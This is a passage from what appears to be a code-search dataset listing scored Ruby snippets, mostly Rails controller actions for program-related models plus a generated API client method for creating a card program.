"text": "def create_card_program_using_post_with_http_info(card_program_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CardApi.create_card_program_using_post ...'\n end\n # verify the required parameter 'card_program_request' is set\n if @api_client.config.client_side_validation && card_program_request.nil?\n fail ArgumentError, \"Missing the required parameter 'card_program_request' when calling CardApi.create_card_program_using_post\"\n end\n # resource path\n local_var_path = '/nucleus/v1/card_program'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(card_program_request)\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'CardProgram')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CardApi#create_card_program_using_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "7ffcd3ce77e083e892924f0634872b4d",
"score": "0.5684407",
"text": "def create\n @program_date = ProgramDate.new(program_date_params)\n\n respond_to do |format|\n if @program_date.save\n format.html { redirect_to @program_date, notice: 'Program date was successfully created.' }\n format.json { render :show, status: :created, location: @program_date }\n else\n format.html { render :new }\n format.json { render json: @program_date.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ce4210888bed4e92bb6d05240d235b25",
"score": "0.5671452",
"text": "def index\n @programas = Programa.all_active\n @programa = Programa.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @programas }\n end\n end",
"title": ""
},
{
"docid": "60fe9e922ff5b856cabc780146422b92",
"score": "0.56625074",
"text": "def create\n @program = current_user.programs.build(program_params)\n @user = current_user\n # @campaign = Campaign.new(campaign_params)\n respond_to do |format|\n if @program.save\n ProgramMailer.with(program: @program).notify_super_admin.deliver_later \n format.html { redirect_to @program, notice: 'Program was successfully created.' }\n format.json { render :show, status: :created, location: @program}\n else\n format.html { render :new }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\nend",
"title": ""
},
{
"docid": "c6c41ca9c85ca067f303d650952b9da1",
"score": "0.566236",
"text": "def create\n @programme_type = ProgrammeType.new(programme_type_params)\n\n respond_to do |format|\n if @programme_type.save\n format.html { redirect_to @programme_type, notice: 'Programme type was successfully created.' }\n format.json { render action: 'show', status: :created, location: @programme_type }\n else\n format.html { render action: 'new' }\n format.json { render json: @programme_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "af5c2cabfcbbc674cfe725279fd365f5",
"score": "0.56598556",
"text": "def create\n @program_attendance = ProgramAttendance.new(params[:program_attendance])\n\n respond_to do |format|\n if @program_attendance.save\n format.html { redirect_to @program_attendance, notice: 'Program attendance was successfully created.' }\n format.json { render json: @program_attendance, status: :created, location: @program_attendance }\n else\n format.html { render action: \"new\" }\n format.json { render json: @program_attendance.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f38a69d96980887df64adfb77cb3eff8",
"score": "0.5658655",
"text": "def exercise_program_params\n params.require(:exercise_program).permit(:name, :description, :user_id)\n end",
"title": ""
},
{
"docid": "e78157fd5cbd14958c49af777dd704e9",
"score": "0.5654497",
"text": "def create\n @weekend_programme = WeekendProgramme.new(weekend_programme_params)\n\n respond_to do |format|\n if @weekend_programme.save\n format.html { redirect_to @weekend_programme, notice: 'Weekend programme was successfully created.' }\n format.json { render :show, status: :created, location: @weekend_programme }\n else\n format.html { render :new }\n format.json { render json: @weekend_programme.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "de8f18ffaf507cbc460926e1f8bd0b7a",
"score": "0.5653742",
"text": "def create\n #@program_chef = ProgramChef.new(program_chef_params)\n @program = Program.find(params[:program_id])\n priority = 0\n if !@program.chef_resources.where(status: \"install\").last.nil?\n priority = @program.chef_resources.where(status: \"install\").last.priority\n end\n @chef_resource = ChefResource.new(resource_type: params[:chef_resource_type], priority: priority + 1)\n\n respond_to do |format|\n if @program.program_chefs.create(chef_resource: @chef_resource)\n ProgramsSubject.where(:program_id => @program.id).update_all(:was_updated => true)\n ProgramsSubject.where(:program_id => @program.id, :state => \"none\").update_all(:state => \"update\")\n format.html { redirect_to edit_program_path(@program), :flash => { :success => \"Action was successfully created.\" } }\n format.json { render :show, status: :created, location: edit_program_path(@program) }\n else\n format.html { render :new }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3595e70107d7f18a6d5699d20c4c3e12",
"score": "0.564869",
"text": "def create\n @tour_program = TourProgram.new(params[:tour_program])\n\n respond_to do |format|\n if @tour_program.save\n format.html { redirect_to(@tour_program, :notice => 'Tour program was successfully created.') }\n format.xml { render :xml => @tour_program, :status => :created, :location => @tour_program }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tour_program.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "93b92276c55eb13dbde4c5b207790d5d",
"score": "0.5640081",
"text": "def create\n @exercise_program = ExerciseProgram.new(exercise_program_params)\n @exercise_program.user_id = current_user.id #current_user.try(:id)\n\n respond_to do |format|\n if @exercise_program.save\n format.html { redirect_to @exercise_program, notice: 'Exercise program was successfully created.' }\n format.json { render :show, status: :created, location: @exercise_program }\n else\n format.html { render :new }\n format.json { render json: @exercise_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "da1c3901f318296dc9d41d12e2d61a56",
"score": "0.56320375",
"text": "def create\n @ped_program_definition = PedProgramDefinition.new(params[:ped_program_definition])\n\n respond_to do |format|\n if @ped_program_definition.save\n format.html { redirect_to @ped_program_definition, notice: 'Ped program definition was successfully created.' }\n format.json { render json: @ped_program_definition, status: :created, location: @ped_program_definition }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ped_program_definition.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "82c69be93de0d1297909db83b42e2232",
"score": "0.5616459",
"text": "def create\n \t\n @program_list= Programlist.create(params[:programlist])\n\n respond_to do |format|\n if @program_list.save\n format.html { redirect_to(program_list_path(@program_list.id), :notice => 'Programlist was successfully created.') }\n format.xml { render :xml => @program_list, :status => :created, :location => @program_list}\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @program_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6baebc6739bbf7f00dac72cf76b481bd",
"score": "0.561265",
"text": "def update\n respond_to do |format|\n if @program.update(program_params)\n format.html { redirect_to @program, notice: 'Program was successfully updated.' }\n format.json { render :show, status: :ok, location: @program }\n else\n format.html { render :edit }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6baebc6739bbf7f00dac72cf76b481bd",
"score": "0.561265",
"text": "def update\n respond_to do |format|\n if @program.update(program_params)\n format.html { redirect_to @program, notice: 'Program was successfully updated.' }\n format.json { render :show, status: :ok, location: @program }\n else\n format.html { render :edit }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "52279e4d24db5ea96433894b89f1d307",
"score": "0.5604834",
"text": "def programs\n @organization = Organization.find(params[:id])\n end",
"title": ""
},
{
"docid": "a102fab5c58352c954fe8215db444229",
"score": "0.56019324",
"text": "def show\n @program_app = ProgramApp.find(params[:id])\n\n respond_to do |format|\n format.json do\n render json: @program_app\n end\n end\n end",
"title": ""
},
{
"docid": "4b813084bfe8989ffb96cac428f5bf5d",
"score": "0.5600019",
"text": "def new\n @center_program = CenterProgram.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @center_program }\n end\n end",
"title": ""
},
{
"docid": "5cea3fc3d967df01a8ef18454e7c3db5",
"score": "0.55981314",
"text": "def create_programs_for_education_organization(ed_org_type, sponsor)\n programs = []\n avg = @scenarioYAML[\"AVERAGE_NUM_PROGRAMS\"][ed_org_type]\n min = (avg * (1 - @scenarioYAML[\"AVERAGE_NUM_PROGRAMS_THRESHOLD\"])).round\n max = (avg * (1 + @scenarioYAML[\"AVERAGE_NUM_PROGRAMS_THRESHOLD\"])).round\n num = DataUtility.select_random_from_options(@prng, (min..max).to_a)\n (1..num).each do\n @unique_program_id += 1\n programs << {:id => @unique_program_id, :type => get_random_program_type, :sponsor => sponsor}\n end\n programs\n end",
"title": ""
},
{
"docid": "f77d5318810970235d9f8b1ca6a64ce8",
"score": "0.55918175",
"text": "def set_program\n @program = Program.find(params[:program_id])\n end",
"title": ""
},
{
"docid": "84bb7cb9e885f5fe1a3328ba94e3ab08",
"score": "0.55696785",
"text": "def new\n @program = Program.new\n @costs = []\n @small = false unless !@small.nil? \n @individual = false unless !@individual.nil? \n @medium = false unless !@medium.nil? \n @large = false unless !@large.nil? \n \n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @program }\n end\n end",
"title": ""
}
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.